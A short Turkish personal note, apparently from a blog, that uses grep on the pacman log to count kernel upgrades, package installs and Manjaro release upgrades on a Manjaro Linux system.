$ grep -E 'upgraded linux[[:digit:]]{2,3}[[:blank:]]' /var/log/pacman.log | wc -l

248

80 kez pacman ile kurulum yapmışım:

$ grep "Running 'pacman -S " /var/log/pacman.log | grep -v "pacman -S -" | wc -l

80

Kaç kez "büyük" sistem güncellemesi yaptığımı bulamadım. Ama sanıyorum her güncelleme öncesinde manjaro-keyring yükseltiliyor. Buradan belki şu komut ile bir yerlere varsabilir miyiz

$ grep "upgraded manjaro-keyring" /var/log/pacman.log

Ek 2024-02-25: Manjaro sistem sürümünü değiştiren güncellemelerin loglarda nasıl tespit edilebileceğini yine chatGPT sayesinde buldum:

$ grep "[ALPM] upgraded manjaro-release" /var/log/pacman.log | wc -l
75

Ayrıca pacman.log'larından şunları da öğrendim. Eğer pacman -Syu yapıyorsam loglarda

[PACMAN] Running 'pacman -Syu'

satırı geçiyor. Eğer pamac update yapıyorsam loglarda

[PAMAC] synchronizing package lists

geçiyor. Eğer grafik arayüzden octopi kullanıyorsam da loglarda

[PACMAN] Running '/usr/bin/pacman -S --noconfirm

geçiyor. Bunların sonucunda pacman.log dosyam 3,5 MB civarında.